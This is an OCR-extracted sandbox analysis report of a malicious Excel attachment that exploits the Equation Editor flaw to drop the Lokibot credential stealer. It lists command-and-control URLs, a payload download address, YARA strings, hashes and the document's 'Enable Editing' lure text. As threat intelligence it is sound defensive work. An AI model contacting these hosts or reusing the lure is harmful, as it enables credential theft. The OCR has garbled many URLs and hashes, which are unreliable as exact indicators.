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Windows Analysis Report Shipping-Documents.xlIsx

Overview

General Information

Sample Shipping-Documents.xlsx
Name:

Analysis ID: 435330

MD5: 20e540ed9d02f60.
SHAL: afa6c289fbeed00..
SHA256: 3c48a312d69b2d..
Infos: n E Q ;‘I‘ i Q

wES HCR' HCA'
do B VW

Most interesting Screenshot:

FA e
B e

| eI s

Process Tree

= System is w7x64

. EXCEL.EXE (PID: 2520 cmdline: ‘C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FBOAOF93382ECD19F5F499A5CAA59F0)

Hisastt

* Joo EQNEDT32.EXE (PID: 2724 cmdline: ‘C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5:
AB87236E214F6D42A65F5DEDAC816AECS)

Score:

Range:

Whitelisted:

Confidence:

Detection

F MALICIOUS 1

ibot
100
0-100

false

100%

%)
«Q
=3
4
c
=
(1
7]

Found malware configuration
Malicious sample detected (through ...
Multi AV Scanner detection for dropp...
Multi AV Scanner detection for subm...
Sigma detected: Droppers Exploiting...
Sigma detected: EQNEDT32.EXE c...
Sigma detected: File Dropped By EQ...
Snort IDS alert for network traffic (e....
Yara detected AntiVM3

Yara detected Lokibot

C2 URLs / IPs found in malware con...
Drops PE files to the user root direc...

Injects a PE file into/a foreign proce...

Office equation editor drops PE file

e [ vbc.exe (PID: 2856 cmdline: 'C:\Users\Public\vbc.exe' MD5: 7146BOD2CAED6422C289A08F63A5C685)
e [E] vbc.exe (PID: 3052 cmdline: C:\Users\Public\vbc.exe MD5: 7146B0D2CAED6422C289A08F63A5C685)

= cleanup

Malware Configuration

Threatname: Lokibot

{
"C2 list": [

Classification

"http://kbfvzoboss.bid/alien/fre.php”,
"http://alphastand. trade/alien/fre.php",
"http://alphastand.win/alien/fre.php",
"http://alphastand. top/alien/fre.php”,
"http://63.141.228.141/32. php/S4wFP8QBwwITp"

Yara Overview

Memory Dumps

Source

00000005.00000002.2182198196.00000000004
00000.00000040.00000001.sdmp

Copyright Joe Security LLC 2021

Rule Description

JoeSecurity_CredentialSte Yara detected

aler Credential Stealer

Author Strings

Joe Security
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Source Rule Description Author Strings
00000005.00000002.2182198196.00000000004 JoeSecurity_aPLib_compr Yara detected Joe Security
00000.00000040.00000001.sdmp essed_binary aPLib compressed
binary
00000005.00000002.2182198196.00000000004 JoeSecurity_Lokibot Yara detected Joe Security
00000.00000040.00000001.sdmp Lokibot
00000005.00000002.2182198196.00000000004 Loki_1 Loki Payload kevoreilly e 0x151b4:$al: DIRycqltP2vSeaogjSbhEUFzQIHT9dmKC
00000.00000040.00000001.sdmp n6uf7xsOYO0hpwr43VINX8JGBAKLMZW
e 0x153fc:$a2: last_compatible_version
00000005.00000002.2182198196.00000000004 Lokibot detect Lokibotin  JPCERT/CC e 0x13bff:$des3: 68 03 66 00 00
00000.00000040.00000001.sdmp memory Incident Response e 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%0
Group 8X%08X
e 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76
2E 72 7500 00
Click to see the 15 entries
Unpacked PEs
Source Rule Description Author Strings
5.2.vbc.exe.400000.0.unpack JoeSecurity_CredentialSte Yara detected Joe Security
aler Credential Stealer
5.2.vbc.exe.400000.0.unpack JoeSecurity_aPLib_compr Yara detected Joe Security
essed_binary aPLib compressed
binary
5.2.vbc.exe.400000.0.unpack JoeSecurity_Lokibot Yara detected Joe Security
Lokibot
5.2.vbc.exe.400000.0.unpack Loki_1 Loki Payload kevoreilly e 0x13db4:$al: DIRycqltP2vSeaogjShEUFzQIHTIdmKC
n6uf7xsOYOhpwr43VINX8JGBAKLMZW
o 0Ox13ffc:$a2: last_compatible_version
5.2.vbc.exe.400000.0.unpack Lokibot detect Lokibotin  JPCERT/CC e Ox12fff:$des3: 68 03 66 00 00
memory Incident Response e 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%0
Group 8X%08X
e 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76
2E 72 7500 00

Click to see the 15 entries

Sigma Overview

Exploits:

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Signature Overview

g

Click to jump to signature section

AV Detection:

Found malware configuration
Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Exploits:

Copyright Joe Security LLC 2021
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Networking:

]

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

=

System Summary:

Malicious sample detected (through community Yara rule)

Data Obfuscation:

‘]

Boot Survival:

=

]‘

Malware Analysis System Evasion:

Yara detected AntiVM3

=

HIPS | PFW | Operating System Protection Evasion:

]

Stealing of Sensitive Information:

Yara detected Lokibot

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command and  Ne¢
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection  Exfiltration Control Ef
Valid Exploitation for  Path Extra Window Disable or Modify oS Account Discovery Remote Archive Exfiltration  Ingress Tool Ee
Accounts Client Interception  Memory Tools Credential Services Collected Over Other Transfer [f) Ing
Execution Injection Dumping Data Network Ne
Medium Cc
Default Scheduled Boot or Access Token Deobfuscate/Decode  Credentials File and Directory Remote Man inthe  Exfiltration Encrypted Ex
Accounts  Task/Job Logon Manipulation Files or in Discovery Desktop Browser ]  Over Channel Re
Initialization Information Registry Protocol Bluetooth Ce

Scripts
Domain At (Linux) Logon Script Process Obfuscated Files or Security System Information SMB/Windows Data from Automated Non-Application  Ex
Accounts (Windows)  Injection Information Account  Discovery Admin Shares  Local Exfiltration  Layer Protocol @ Tr
Manager System Lc
Local At (Windows) Logon Script Logon Script Software Packing NTDS Security Software Distributed Email Scheduled Application Layer Sl
Accounts (Mac) (Mac) Discovery Component  Collection [} Transfer  Protocol Sv

Object Model
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Initial Privilege Credential Lateral Command and  Ne
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration Control Ef
Cloud Cron Network Network Logon  Extra Window Memory LSA Virtualization/Sandbox SSH Keylogging  Data Fallback M
Accounts Logon Script Script Injection Secrets Evasion Transfer Channels De
Size Limits Cc
Replication  Launchd Rc.common Rc.common Masquerading Cached System Owner/User  VNC GUI Input Exfiltration Multiband Ja
Through Domain Discovery Capture Over C2 Communication  De
Removable Credentials Channel Se
Media
External Scheduled Task Startup Startup Items Virtualization/Sandbox DCSync Remote System Windows Web Portal  Exfiltration Commonly Used Rc
Remote Items Evasion Discovery Remote Capture Over Port Ac
Services Management Alternative
Protocol
Drive-by Command and Scheduled  Scheduled Access Token Proc Network Service Shared Credential Exfiltration  Application Layer Dc
ompromise Scripting ask/Jo ask/Jo anipulation ilesystem  Scanning ebroot ooking Over rotoco n:
Ci ise Scripti Task/Job Task/Job Manipulati 1 Fil S i Web API Hooki O P | |
Interpreter Symmetric Pr
Encrypted
Non-C2
Protocol
Exploit PowerShell At (Linux) At (Linux) Process letc/passwd System Network Software Data Staged Exfiltration Web Protocols R
Public- Injection and Connections Deployment Over Be
Facing letc/shadow Discovery Tools Asymmetric
Application Encrypted
Non-C2
Protocol
Behavior Graph
Hide Legend
Behavior Graph
o 45390 Legend:
Sample: Shipping-Documents i
‘Startdate: 510612
| Rz
Score: 100 . Signature
. Created File
ﬂ Is Dropped
covorzee Y [ ocoe 8 A% Is Windows Process
)
I B G s B E’: Number of created Registry Values

103,89,

VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN dropped dropped dropped

Screenshots

Thumbnails
Copyright Joe Security LLC 2021

Viet Nam 15

dmem

-

vicere o
[c] [

54

)ES 8

i
i
=

L@ 2 )

Number of created Files

Visual Basic
Delphi
Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet
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This section contains all screenshots as thumbnails, including those not shown in the slideshow.

e =
N Shipping-Documents - Microsoft Excel - Shipping-Dacuments = & =
Home | Insert  Pagelayout  Formulas  Data  Review  View f@o @ =
" N = B = EZE X AuteSum - Agge
Calibri ~1 - A » = Wrap Text - =| =] fs
2 Copy ~ " i - "I_Aﬂ B 53| = & Fin - yA !ﬁ
| - o | Conditic < sert Delete Sort & Fi
Fromaras | B £ : Swssaces< § <% 088 Gu fam G| e o Goeina s
Clipboard 5 Alignment Number Styles Cells Editing
wa -
.n MICI’OSOf‘t’ 1. Open the document in Microsoft Office.
ae i Previewing online is not available for protected
a Ice H documents
D . :
i 2.If this document was downloaded from your
email, please click Enable Editing from the
Y . " yellow bar above
"y This document is
=] 3, Once you have enabled editing, please click
=) protected L deetme
Antivirus, Machine Learning and Genetic Malware Detection
al Sample
Detection Scanner Label Link

Source

Dropped Files

Source Detection Scanner Label Link
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https://www.virustotal.com/gui/file/3c48a312d69b2d72bec8b3dad17e99ee1241afff875e97b73569509d5f8b07ec/detection/f-3c48a312d69b2d72bec8b3dad17e99ee1241afff875e97b73569509d5f8b07ec-1623835177

Unpacked PE Files

Source Detection Scanner Label Link Download

No Antivirus matches

URLs

Source Detection Scanner Label Link
http://103.89.90.94/pzldoc/regasm.exe 0% Avira URL Cloud safe
http:/fkbfvzoboss.bid/alien/fre.php 0% URL Reputation safe
http:/fkbfvzoboss.bid/alien/fre.php 0% URL Reputation safe
http:/fkbfvzoboss.bid/alien/fre.php 0% URL Reputation safe
http:/falphastand.top/alien/fre.php 0% URL Reputation safe
http:/falphastand.top/alien/fre.php 0% URL Reputation safe
http:/falphastand.top/alien/fre.php 0% URL Reputation safe
http://63.141.228.141/32.php/S4AwFP8QBWwWITp 0% Avira URL Cloud safe
http:/fwww.ibsensoftware.com/ 0% URL Reputation safe
http:/fwww.ibsensoftware.com/ 0% URL Reputation safe
http:/fwww.ibsensoftware.com/ 0% URL Reputation safe
http:/fwww.%s.comPA 0% URL Reputation safe
http:/fwww.%s.comPA 0% URL Reputation safe
http:/fwww.%s.comPA 0% URL Reputation safe
http:/falphastand.win/alien/fre.php 0% URL Reputation safe
http:/falphastand.win/alien/fre.php 0% URL Reputation safe
http:/falphastand.win/alien/fre.php 0% URL Reputation safe
http:/falphastand.trade/alien/fre.php 0% URL Reputation safe
http:/falphastand.trade/alien/fre.php 0% URL Reputation safe
http:/falphastand.trade/alien/fre.php 0% URL Reputation safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name Malicious Antivirus Detection Reputation

URLs from Memory and Binaries

Contacted IPs

Public
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Domain

Country Flag ASN Name Malicious

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time Type
12:29:11
12:29:15

Copyright Joe Security LLC 2021

API Interceptor
API Interceptor

32.0.0 Black Diamond

435330

16.06.2021

12:28:10

CloudBasic

Oh 7m 48s

false

light

Shipping-Documents.xlsx
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET
4.6.2)

6

o o o o

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

L]
LJ
LJ
L]
default
Timeout
MAL
mal100.troj.spyw.expl.evad.winXLSX@6/20@0/2
Failed

e Successful, ratio: 30% (good quality ratio 28.7%)
e Quality average: 76.7%
e Quality standard deviation: 29%

e Successful, ratio: 97%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time

e Enable AMSI

e Found application associated with file extension: .xIsx
e Found Word or Excel or PowerPoint or XPS Viewer

e Attach to Office via COM

e Scroll down

e Close Viewer

Show All

Description
93x Sleep call for process: EQNEDT32.EXE modified

72x Sleep call for process: vbc.exe modified

Page 10 of 28



Joe Sandbox View | Context

IPs

Match
63.141.228.141

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

63.141.22
8.141/32.p
hp/hGVMLpO
uMVSWM

63.141.22
8.141/32.p
hp/nuldTOn
9SBn3G

63.141.22
8.141/32.p
hp/cViu8no
0oOLcrF

63.141.22
8.141/32.p
hp/tv9F9to
WmL3Dq

63.141.22
8.141/32.p
hp/qBOGQ2G
KLyuOU

63.141.22
8.141/32.p
hp/GsoXa3y
Q3p8IH

63.141.22
8.141/32.p
hp/S7zr5vl
fXI3Rb

63.141.22
8.141/32.p
hp/S7zr5v1
fXI3Rb

63.141.22
8.141/32.p
hp/S7zr5v1
fXI3Rb

63.141.22
8.141/32.p
hp/3LIAZgu
IGMmMJV

63.141.22
8.141/32.p
hp/3bi7icv
3ldcew

63.141.22
8.141/32.p
hp/510ZnNa
7AB6DI

63.141.22
8.141/32.p
hp/3LIAZgu
IGMmMJV

63.141.22
8.141/32.p
hp/NtbXO1k
nHRe3C

63.141.22
8.141/32.p
hp/tvOF9tO
WmL3Dq

63.141.22
8.141/32.p
hp/cUubrzl
DZTThS

63.141.22
8.141/32.p
hp/fw2pM7f
nRpMCI

63.141.22
8.141/32.p
hp/fw2pM7f
nRpMCI
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https://view.joesandbox.com/analysis/341975/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341975/html/none?idtype=webid
https://view.joesandbox.com/analysis/341677/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341677/html/none?idtype=webid
https://view.joesandbox.com/analysis/341674/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341674/html/none?idtype=webid
https://view.joesandbox.com/analysis/341570/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341570/html/none?idtype=webid
https://view.joesandbox.com/analysis/341562/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341562/html/none?idtype=webid
https://view.joesandbox.com/analysis/341544/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341544/html/none?idtype=webid
https://view.joesandbox.com/analysis/341507/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341507/html/none?idtype=webid
https://view.joesandbox.com/analysis/341475/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341475/html/none?idtype=webid
https://view.joesandbox.com/analysis/341465/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341465/html/none?idtype=webid
https://view.joesandbox.com/analysis/341317/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341317/html/none?idtype=webid
https://view.joesandbox.com/analysis/341315/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341315/html/none?idtype=webid
https://view.joesandbox.com/analysis/341258/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341258/html/none?idtype=webid
https://view.joesandbox.com/analysis/341256/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341256/html/none?idtype=webid
https://view.joesandbox.com/analysis/341153/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341153/html/none?idtype=webid
https://view.joesandbox.com/analysis/341034/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341034/html/none?idtype=webid
https://view.joesandbox.com/analysis/340987/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340987/html/none?idtype=webid
https://view.joesandbox.com/analysis/340750/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340750/html/none?idtype=webid
https://view.joesandbox.com/analysis/340662/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340662/html/none?idtype=webid

Match

Domains

No context

ASN

Match
NOCIXUS

VNPT-AS-
VNVIETNAMPOSTSANDTELECOMMU
NICATIONSGROUPVN

Copyright Joe Security LLC 2021

SHA 256
Get hash

Get hash

SHA 256
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash
Get hash

Get hash

Get hash
Get hash

Get hash
Get hash

Get hash
Get hash

Get hash

Get hash

Get hash
Get hash

> >
] n
173 7]
o <]
=3 Q,
2 2
@ @
o -3
] [
2 o
3 3
- -
® ®
2 2
o o
3 3
® ®
c c
A a
[l [

Detection

malicious

malicious

Detection

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Link

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

e 63.141.22
8.141/32.p
hp/NtbXO1k
nHRe3C

o 63.141.22
8.141/32.p
hp/kMBAF28
c3jz16

Context
e 63.141.228.141

e 63.141.228.141
e 63.141.228.141
e 63.141.228.141
e 63.141.228.141
e 63.141.243.99
e 63.141.228.141
e 63.141.228.141
e 63.141.228.141

e 63.141.228.141
e 63.141.228.141
e 63.141.228.141
e 63.141.228.141
e 63.141.228.141
e 63.141.228.141
e 63.141.228.141
e 63.141.228.141
e 63.141.228.141
e 63.141.228.141
e 63.141.228.141

e 103.133.10
9.192

e 103.140.25
0.132

e 103.140.25
1.225

e 103.133.10
4.124

e 103.140.25
0.132

e 103.133.10
9.176

e 180.214.238.96

e 103.114.10
4.219

e 103.133.10
4.124

e 103.89.91.38

e 103.133.10
4.124

e 103.133.106.72
e 103.133.106.72

e 103.149.13.196

e 103.133.10
9.176

e 103.133.10
6.117

e 103.133.10
6.117

e 103.114.107.28
e 103.114.107.28
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https://view.joesandbox.com/analysis/340658/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340658/html/none?idtype=webid
https://view.joesandbox.com/analysis/340642/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340642/html/none?idtype=webid
https://view.joesandbox.com/analysis/341975/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341975/html/none?idtype=webid
https://view.joesandbox.com/analysis/341677/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341677/html/none?idtype=webid
https://view.joesandbox.com/analysis/341674/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341674/html/none?idtype=webid
https://view.joesandbox.com/analysis/341570/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341570/html/none?idtype=webid
https://view.joesandbox.com/analysis/341562/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341562/html/none?idtype=webid
https://view.joesandbox.com/analysis/341556/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341556/html/none?idtype=webid
https://view.joesandbox.com/analysis/341544/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341544/html/none?idtype=webid
https://view.joesandbox.com/analysis/341507/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341507/html/none?idtype=webid
https://view.joesandbox.com/analysis/341475/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341475/html/none?idtype=webid
https://view.joesandbox.com/analysis/341465/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341465/html/none?idtype=webid
https://view.joesandbox.com/analysis/341317/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341317/html/none?idtype=webid
https://view.joesandbox.com/analysis/341315/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341315/html/none?idtype=webid
https://view.joesandbox.com/analysis/341258/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341258/html/none?idtype=webid
https://view.joesandbox.com/analysis/341256/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341256/html/none?idtype=webid
https://view.joesandbox.com/analysis/341153/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341153/html/none?idtype=webid
https://view.joesandbox.com/analysis/341034/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341034/html/none?idtype=webid
https://view.joesandbox.com/analysis/340987/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340987/html/none?idtype=webid
https://view.joesandbox.com/analysis/340750/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340750/html/none?idtype=webid
https://view.joesandbox.com/analysis/340662/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340662/html/none?idtype=webid
https://view.joesandbox.com/analysis/340658/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340658/html/none?idtype=webid
https://view.joesandbox.com/analysis/342054/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342054/html/none?idtype=webid
https://view.joesandbox.com/analysis/341637/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341637/html/none?idtype=webid
https://view.joesandbox.com/analysis/341516/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341516/html/none?idtype=webid
https://view.joesandbox.com/analysis/341494/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341494/html/none?idtype=webid
https://view.joesandbox.com/analysis/341286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341286/html/none?idtype=webid
https://view.joesandbox.com/analysis/341046/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341046/html/none?idtype=webid
https://view.joesandbox.com/analysis/341016/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341016/html/none?idtype=webid
https://view.joesandbox.com/analysis/340847/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340847/html/none?idtype=webid
https://view.joesandbox.com/analysis/340687/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340687/html/none?idtype=webid
https://view.joesandbox.com/analysis/340477/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340477/html/none?idtype=webid
https://view.joesandbox.com/analysis/340381/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340381/html/none?idtype=webid
https://view.joesandbox.com/analysis/339920/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339920/html/none?idtype=webid
https://view.joesandbox.com/analysis/339916/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339916/html/none?idtype=webid
https://view.joesandbox.com/analysis/339806/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339806/html/none?idtype=webid
https://view.joesandbox.com/analysis/339692/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339692/html/none?idtype=webid
https://view.joesandbox.com/analysis/339546/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339546/html/none?idtype=webid
https://view.joesandbox.com/analysis/339515/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339515/html/none?idtype=webid
https://view.joesandbox.com/analysis/339344/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339344/html/none?idtype=webid
https://view.joesandbox.com/analysis/339343/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339343/html/none?idtype=webid

Match Associated Sample Name / URL SHA 256 Detection Link Context

JA3 Fingerprints

No context

Dropped Files

No context

Created |/ dropped Files

Process: C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: downloaded

Size (bytes): 761856

Entropy (8bit):  7.601403838460658

Encrypted: false

SSDEEP: 12288:88zqLMOeSMxvquwaHpCwQqc6n2R8Uncvc6t8TSx+5SSruwsrdZ4:z0gfquPHpCwQQgRTTt88KSKNsrJ
MD5: 7146BOD2CAED6422C289A08F63A5C685

SHAL: 2666D058EA4E4A2CASBC6ESEA75594E68FC63F1B

SHA-256: 25AA6393CACFF94544387CC515F754DFD2AF133612A74FD84B64C6E17354D1ED

SHA-512: FOB3098F20A22095397AB88348ECFE0911B126739005C9B70A815543BE04465603D3ED0C070BA50488C88FE13B9470D003C114254941593BA20F4511CB01CC47
Malicious: true

Antivirus: e Antivirus: ReversingLabs, Detection: 11%

Reputation: low

IE Cache URL:  http://103.89.90.94/pzldoc/regasm.exe

Preview:

+.&+.& ...9S8..&
RN TR R AR > I+H.&.. J+&....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\1AE5E43D.png

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE
File Type: PNG image data, 399 x 605, 8-bit/color RGBA, non-interlaced
Category: dropped
Size (bytes): 50311
Entropy (8bit):  7.960958863022709
Encrypted: false
SSDEEP: 768:hfo72tRIBZeeRugjj8yooVAK92SYADOPSsX35SVFNOt3HcoNZ8WEK6EHmM8bbxXVGx:hfOWBuUeSoVAKXLDO6W35SEVNZ8ImOAEH
MD5: 4141C7515CEGAFED13BE6D2BA33299AA
SHAL: B290F533537A734B7030CE1269AC8C5398754194
SHA-256: F6BOFE628E1469769E6BD3660611B078CEF6EE396F693361B1B42A9100973B75
SHA-512: 74E9927BFOC6F8CB9C3973FD68DAD12B422DC4358D5CCED956BC6A20139B21D929E47165F77D208698924CB7950A7D5132953C75770E4A357580BF271BD9BD8
Malicious: false
Reputation: moderate, very likely benign file
Preview:
PNG.......IHDR.....].....\....gAMA......a.....SRGB........ CHRM..Z&.............. U0..."..0....p..Q<....bKGD.............. OFFs......F#-nT...pHYS...%...%.IR$.... VpAg......0...0.....

IDATX...h.w...VI..D.......4.p X(r.x.&.K.(.L...P..d5.R.....b.......C..BP...,.% ...qL.,..[E.ni.t..... H._.....G..|~=...<.#J.N.a.a.Q.V..t.M.v;=.0s..ixa..0..<.."..a\..a.q.+.a.5.<.
.a...a\.a.g+.a.5<.a. .a.a.q+.a.b<.a.’.a.a.g+.ab<.a..a.a.g+.a.b<.a..al.a.g+.a.5<.a.'.a.a.g+.a.b<.a.'.a.a.g+.a.b<.a..a\
a.gM../.u...h6..[.22..g4M........C.u.y,—.."..a. 2~ W)\i.>7q j..y...ILNN....5\.w"..b~~...J.sssm.d.Y.u.G...s.\.R.’qq.....C;..$..&..2.x..J..fgg...]=9.Y.y..N..(SN.S8.eZ.T...=...4.?
~.UK.;....SSS...iY.Q.n.L.u\.x..0.,.av.N.(..H..B.. X......... .amm...h4.t...].j..tz[.(. #.lyy)."  z-[4...a. jj....dY.7|F.. . \~g..x.Y..R.\...w\h.K..h.nM

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MS0O\32420706.png

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 566 x 429, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 84203

Entropy (8bit):  7.979766688932294

Encrypted: false

SSDEEP: 1536:RrpoeM3WUHO25A8HD3S04IL9jvt063021/Wr9nuQvs+9QvM4PmgZuVHdJI5v3ZK7+:H5YHOhwx4IRTtO6349uQvXJ4PmgZulll
MD5: 208FD40D2F72D9AED77A86A44782E9E2
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https://view.joesandbox.com/analysis/339342/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339342/html/none?idtype=webid

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MS0\32420706.png

SHA1L: 216B99E777ED782BDC3BFD1075DB90DFDDABD20F

SHA-256: CBFDB963E074C150190C93796163F3889165BF4471CA77C39E756CF3F6F703FF

SHA-512: 7BCE8OFFA8B0707E4598639023876286B6371AE465A9365FA21D2C01405AB090517C448514880713CA22875013074DBID5ED8DAI3C223F265C179CFADABO9AG4
Malicious: false

Reputation: moderate, very likely benign file

Preview:

< ADATXA =V HLfLZAL SEJ,%..VPG. K.=..@.%0l.e7...U...... ... >N~&..._..._.Ig...
~.@Y96.S.....&.1.:....0...0.6..S...'n.H.hS......y;.N.L)."[ ".f£X.u.n;........._h.(.u|0a....].R.Z...2......GIY

_O._._Jq..keruT.....S

........ 6n...6....06.-. AM.f.=y ..7...;X....q..|..=.|K..w...}O.{]...G........~.03.....2...m6...sN.O..;/....Y .H..Occcoe ™
(W...St...m..+K.<.M=_.IN.U.C..].5.=..s.0.d.f.<Km.$.fS..0....}@...;k.m.L/$......}...3%..|j....b.r7.0OlF...c".....$...)... ]O.CK...._.....Nv....q.t3].,. ...vD.-.0o.kw....X...-
C..KGId.8.a}|..,.....,....q.=r..PEV#...n. }o [w...N.b.W......;..2.0q.K{>.K....{w{....... 6'...,.}.E.. X.1.-Y].JIm j..pq|.0...e.v.....17....F

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\4091E51A.jpeg

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3
Category: dropped

Size (bytes): 8815

Entropy (8bit):  7.944898651451431

Encrypted: false

SSDEEP: 192:Qjnr2118e71i2YRD5x5dlyuaQ0ugZIBn+002yHQGYtPto:QZI8e71i2YdRyuZ0b+JGgtPW

MDS5: F06432656347B7042C803FE58F4043E1

SHA1L: 4BD52B10B24EADECA4B227969170C1D06626A639

SHA-256: 409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6

SHA-512: 358FEB8CBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FC0605DEF31D9839A0283B43AA5D409ADC283A1CAD787BE9S!
OE

